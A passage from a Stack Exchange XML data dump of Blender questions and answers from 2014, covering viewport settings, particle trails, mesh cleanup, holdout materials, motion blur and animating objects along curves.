obj.matrix_world&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Euler&lt;/code&gt; and &lt;code&gt;Quaternion&lt;/code&gt; both offer a method to convert them to a matrix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;q  = Quaternion()&#xA;eu = Euler()&#xA;&#xA;mat =  q.to_matrix().to_4x4()&#xA;mat = eu.to_matrix().to_4x4()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="3710" LastEditDate="2019-12-02T13:24:54.590" LastActivityDate="2019-12-02T13:24:54.590" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="7604" PostTypeId="2" ParentId="7579" CreationDate="2014-03-07T17:27:27.223" Score="1" Body="&lt;p&gt;You could try using trails and lines in BI. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/pDC5s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MCtEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1456" LastActivityDate="2014-03-07T17:27:27.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7605" PostTypeId="2" ParentId="7584" CreationDate="2014-03-07T18:54:01.317" Score="2" Body="&lt;p&gt;The Quad View is comprised of the: Top, Front, Right, Camera views. There is no way of changing this. However there is a workaround/hack for this. Since you want to always return to the same perspective viewport you can use your camera as the perspective view.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into your camera view&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qstxB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Zoom in to where you can no longer see the border of the camera. This will look you standard viewport.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lsRLK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the properties panel under &lt;strong&gt;View&lt;/strong&gt; enable &lt;strong&gt;Lock Camera to View&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TVjj6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The camera is now locked the the viewport. So when you go between quad and perspective view it will remember where you left off.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TxgM0.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-07T19:03:52.200" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7606" PostTypeId="2" ParentId="7579" CreationDate="2014-03-07T21:09:54.457" Score="5" Body="&lt;p&gt;You can use a &lt;em&gt;Halo&lt;/em&gt; material and &lt;em&gt;Trail Particles&lt;/em&gt; to do this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/OddGiganticArctichare#&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/OddGiganticArctichare.gif&quot; alt=&quot;Animated gif&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a &lt;em&gt;turbulence&lt;/em&gt; force field to create the random motion. (You can also use the &lt;em&gt;Brownian&lt;/em&gt; value in &lt;em&gt;Particles &amp;gt; Physics&lt;/em&gt;, but I liked the motion created by the turbulence force-field better)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dVteY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Trail count&lt;/em&gt; up. 700 may be a bit much if you have a lot of particles, and unnecessary if your particles don't move very fast.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3guUu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a &lt;em&gt;Halo&lt;/em&gt; material for the particles:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iDEzM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-07T21:33:12.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7607" PostTypeId="2" ParentId="7599" CreationDate="2014-03-08T02:46:10.313" Score="4" Body="&lt;p&gt;There are 2 ways I would suggest to fix up a model with edges like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using Fill holes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This tool was written for almost this exact case, it has the advantage it will fill in UV's. vertex-colors and materials from surrounding geometry.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Cleanup&quot; rel=&quot;nofollow&quot;&gt;See the docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Delete the ngons (Only Faces), &lt;kbd&gt;x, n&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all, &lt;kbd&gt;a&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mesh -&gt; Cleanup -&gt; Fill Holes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using Face Create:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The default face creation will fill a wire-net of faces too, but in this case it goes too far and needs one face removed.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Delete the ngons (Only Faces), &lt;kbd&gt;x, n&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all,&lt;kbd&gt;a&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mesh -&gt; Faces -&gt; Make Face/Edge, &lt;kbd&gt;f&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;delete the large ngon created at the back.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-03-08T02:57:08.203" LastActivityDate="2014-03-08T02:57:08.203" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7608" PostTypeId="2" ParentId="7601" CreationDate="2014-03-08T04:39:02.687" Score="1" Body="&lt;p&gt;If you want to work at the code level -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can use a custom blender code base by adding your own node that does what you want. Complicated but will give you access to the most data and the most flexibility that is available in the render engine.&lt;/li&gt;&#xA;&lt;li&gt;Pynodes allows you to create your own nodes, I'm not sure what capabilities these offer. There is a custom nodes example in templates. I believe luxrender uses pynodes to add nodes specific to luxrender.&lt;/li&gt;&#xA;&lt;li&gt;Create an OSL shader. The limitation would be the object with the osl shader so you probably won't get the full image distortion that you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-08T04:39:02.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7609" PostTypeId="1" CreationDate="2014-03-08T06:01:33.040" Score="9" ViewCount="3776" Body="&lt;p&gt;I would like to put some user defined texts(labels) besides bodies as annotations, those texts(labels) are always perpendicular to user, which means whenever I rotate or scale the object, those text's size are always the same and there orientation are always upright to the user, just like the &quot;x,y,z&quot; in the left bottom corner of the 3D view, see the screen shot below(pointed by red arrows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bmf9P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the &quot;Ruler/Protractor&quot; tool, you will see same kinds of texts(lables) can be added by those tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas about this kind of text, I need such kind of text to demonstrate the models when teaching. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Looks like this post &lt;a href=&quot;https://blender.stackexchange.com/a/1606/2722&quot;&gt;https://blender.stackexchange.com/a/1606/2722&lt;/a&gt; give me some ways to workaround this issue, but I definitely need a clean way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: Now I can correctly display a text attachment to an object in the view port. But the text is not user defined, I means I can show a matrix or a object's name, but is it possible to show a customized annotation text strings?&lt;/p&gt;&#xA;" OwnerUserId="2722" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-03-10T04:47:04.487" Title="add custom texts(labels or annotations) which are always upright to user in view port" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7611" PostTypeId="2" ParentId="7609" CreationDate="2014-03-08T09:10:14.110" Score="7" Body="&lt;h1&gt;Labels in Render&lt;/h1&gt;&#xA;&lt;p&gt;An easy (but limited) way would be to parent the text labels to the camera.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select text label &lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add camera to selection &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set camara to parent &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1fz2n.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;After that movement of the camera or transforming the objects in the scene would no longer influence the appearance of the label.&lt;/p&gt;&#xA;&lt;p&gt;Example rotating object and moving camera:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZlxU.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Labels in Viewport&lt;/h1&gt;&#xA;&lt;p&gt;If you want to draw labels in the view port you find all you need in Adhi's &lt;a href=&quot;https://github.com/adhihargo/display_matrix/blob/master/display_matrix.py&quot; rel=&quot;noreferrer&quot;&gt;display_matrix.py&lt;/a&gt; script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/btaS0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-08T14:35:04.603" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7612" PostTypeId="1" CreationDate="2014-03-08T09:13:01.447" Score="3" ViewCount="497" Body="&lt;p&gt;I created a Sun Lens Flare project by nodes compositing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add some objects to the scene, the problem is when rendered, those other objects are not showed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering with Cycles. How to include and view other objects in this scene?&#xA;Here's the attached blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ubuntuone.com/7ALyGcFovffPpwPhMZ9zNn&quot; rel=&quot;nofollow&quot;&gt;Sun Lens Flare.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2403" LastEditorUserId="527" LastEditDate="2014-03-09T13:42:50.963" LastActivityDate="2019-07-28T08:45:32.090" Title="Include Other Objects in Sun Lens Flare Compositing Project" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7613" PostTypeId="1" AcceptedAnswerId="7615" CreationDate="2014-03-08T09:36:46.307" Score="6" ViewCount="8402" Body="&lt;p&gt;How can I create an invisibility cloak? It should be an invisible object which causes other specified objects to become invisible when it covers those objects.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="2217" LastEditDate="2014-05-07T13:50:50.483" LastActivityDate="2014-05-07T13:50:50.483" Title="Create invisibility cloak (alpha mask material)" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7615" PostTypeId="2" ParentId="7613" CreationDate="2014-03-08T10:58:04.150" Score="8" Body="&lt;p&gt;After reading Leon Cheung's answer, I've redone my solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have this setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OeP8Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you want to make the plane into an invisibility cloak that affects only the red monkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make the background transparent (see &lt;a href=&quot;https://blender.stackexchange.com/a/1307/1112&quot;&gt;here&lt;/a&gt; for help). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Blender Render, select the plane, and under the Materials tab of Properties window, enable &lt;code&gt;Transparency&lt;/code&gt;, select &lt;code&gt;Mask&lt;/code&gt; and set &lt;code&gt;Alpha&lt;/code&gt; to zero:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U4y0k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cycles Render, select the plane and set its material to &lt;code&gt;Holdout&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZeCME.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For both Blender and Cycles Render, you create two render layers: one with the invisibility cloak and objects affected by it, and one with the normal, unaffected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create this node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SZLiU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the result is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2mP48.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-03-09T01:58:19.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7616" PostTypeId="1" AcceptedAnswerId="7618" CreationDate="2014-03-08T11:21:11.710" Score="6" ViewCount="2854" Body="&lt;p&gt;I have a nice (in my opinion :) ) looking propeller on my Fokker VII. I am happy with this for stationary shots, but if I want to composite this in an aerial scene, I obviously shouldn't have the propeller still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z0tO3.png&quot; alt=&quot;propeller&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you render this propeller in a way that it looks like it is spinning very fast? What are the tricks, do you blur it or something?&lt;/p&gt;&#xA;" OwnerUserId="1626" LastEditorUserId="2217" LastEditDate="2014-08-05T18:21:44.490" LastActivityDate="2014-08-05T18:21:44.490" Title="How to render rotating propeller?" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7617" PostTypeId="2" ParentId="7613" CreationDate="2014-03-08T12:28:21.280" Score="7" Body="&lt;p&gt;Your own solution seems nice enough. For Cycles, I just want to share with a simple way, which needs just two renderlayers and less nodes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For the cloak object, you can use &lt;strong&gt;Holdout&lt;/strong&gt; shader.&lt;/li&gt;&#xA;&lt;li&gt;For cases related to Z, you can simply add a &lt;strong&gt;Z Combine&lt;/strong&gt; node (as you did in your own answer). Furthermore, &lt;strong&gt;Alpha Over&lt;/strong&gt; brings more control on Alpha. Anyway, it could be one solution for Cycles. :)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rzxs3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27373&quot; rel=&quot;noreferrer&quot;&gt;Example File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-08T12:28:21.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7618" PostTypeId="2" ParentId="7616" CreationDate="2014-03-08T12:50:06.033" Score="8" Body="&lt;p&gt;I think you mean the motion blur effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Cycles&lt;/strong&gt; render engine, you can first animate the propeller with a very fast rotation, and toggle &lt;strong&gt;Motion Blur&lt;/strong&gt; in Render tab, then set a appropriate Shutter time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kUOvT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;Blender Internal&lt;/strong&gt; render engine, there is also a &lt;strong&gt;Sampled Motion Blur&lt;/strong&gt; panel in the Render tab: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TJbqr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For compositing, you can enable &lt;strong&gt;Vector&lt;/strong&gt; pass in Render Layers tab, and use &lt;strong&gt;Vector Blur&lt;/strong&gt; node to make use of it. Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l07lG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-08T13:18:19.797" LastActivityDate="2014-03-08T13:18:19.797" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7620" PostTypeId="1" AcceptedAnswerId="7621" CreationDate="2014-03-08T14:27:32.797" Score="2" ViewCount="969" Body="&lt;p&gt;I am currently modeling an ear and it becomes very hard to see some vertices &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fxwrz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I could hide some geometry in the background, but is it possible to completely disable the see though mode so that I only see the vertices on the surface?&lt;/p&gt;&#xA;" OwnerUserId="1672" LastActivityDate="2014-03-08T14:29:58.777" Title="Disable the 'see though mode' in edit mode" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7621" PostTypeId="2" ParentId="7620" CreationDate="2014-03-08T14:29:58.777" Score="3" Body="&lt;p&gt;Enable limit selection to visible in the bottom tool bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ErTAx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-08T14:29:58.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7622" PostTypeId="1" CreationDate="2014-03-08T15:35:42.447" Score="5" ViewCount="1475" Body="&lt;p&gt;I'm trying to animate a long trail of objects along a path, I want each one to follow the path independently without having to offset each single object. I tried follow path but as I said all objects are constrained on a single point of the curve, &quot;clamp to&quot; seems to work but objects do not rotate and I can't control the distance between them.&lt;/p&gt;&#xA;" OwnerUserId="2726" LastEditorUserId="2217" LastEditDate="2014-10-03T00:07:51.997" LastActivityDate="2014-10-03T00:07:51.997" Title="Animating a series of objects along a path independently" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7623" PostTypeId="2" ParentId="7622" CreationDate="2014-03-08T15:46:22.100" Score="2" Body="&lt;p&gt;You can add an array modifier to the object, this will allow you to control the distance from one to another. A Curve modifier will make the meshes follow the curve. You can keyframe the object to make it move along the curve.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method 1:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Note that this will deform the object along the curve&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the origin of the curve is at the start of the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IxgtB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place the object at the start of the curve as well&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object. Add an Array modifier:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Count: how many copies you want&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Offset: how far each object will be from one another&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hDx83.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Curve Modifier and select the curve in the Object slot.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Animate the object by setting key frames. You only need to animate the Object along one axis depending on the orientation of the curve.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Method 2:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Note: This will not deform the object along the curve. This method is a bit of a workaround and a hack.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the origin of the curve is at the start of the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IxgtB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a cube at the origin of the curve.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode merge all vertices into a single point. &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;M&lt;/kbd&gt; -&gt; Center&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Back in object mode add an array modifier. And set the Offset to constant.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Increase the offset to where you can see each individual point&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your object is at the start of the curve&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the object to the array of verticies. &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the Duplication type to Verts under the mesh properties. Enable Rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fertq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the array of vertices to animate the object along the curve. Animate by setting key frames. You only need to animate the Object along one axis depending on the orientation of the curve.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-08T16:08:42.960" LastActivityDate="2014-03-08T16:08:42.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7624" PostTypeId="1" AcceptedAnswerId="7630" CreationDate="2014-03-08T16:34:04.927" Score="10" ViewCount="5105" Body="&lt;p&gt;I try a simple particle system, with this group on the layer 2 :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uY3Xx.png&quot; alt=&quot;the group&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The result, placing it at Vertices places on a grid, using this group, is like :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AUz8a.png&quot; alt=&quot;the result&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The problem is that sometimes 2 or 3 objects are at the same time on the same place... I didn't found anywhere how to disallow that, I would like to have just 1 object at random places (less or equal to the number of vertices)&#xA;Thank you !&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27382&quot; rel=&quot;noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/h1&gt;&#xA;" OwnerUserId="2728" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-06T01:55:54.217" Title="Prevent particles at the same place?" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7625" PostTypeId="2" ParentId="7624" CreationDate="2014-03-08T16:42:32.740" Score="3" Body="&lt;p&gt;Disable Random in the particle emitter tab. This will only use each part once as long at there are not more part than there are particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Rk8f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you are emitting from &lt;em&gt;Verts&lt;/em&gt; or &lt;em&gt;Faces&lt;/em&gt; you need to limit the number of particles and you want to populate the entire mesh:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Verts: number of verts in mesh + 1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Faces: number of faces in mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am not sure why but for Verts you need to add another 1 so that all verts have some mesh on them&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bqtLS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27380&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-08T17:20:01.980" LastActivityDate="2014-03-08T17:20:01.980" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="7626" PostTypeId="1" AcceptedAnswerId="7629" CreationDate="2014-03-08T17:36:08.847" Score="4" ViewCount="3515" Body="&lt;p&gt;I wanna use the Mesh Deform midifier. I created an own cage mesh and set the modifier, but it seems not working. I don't know what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a pic:&lt;img src=&quot;https://i.stack.imgur.com/iHsgH.png&quot; alt=&quot;PIC&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cage: &lt;a href=&quot;http://speedy.sh/xaajq/alice-cage-mesh.obj&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://speedy.sh/xaajq/alice-cage-mesh.obj&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="2731" LastEditorUserId="696" LastEditDate="2014-03-08T18:26:44.017" LastActivityDate="2014-03-08T20:06:10.520" Title="How to let Mesh Deform modifier work as expected" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
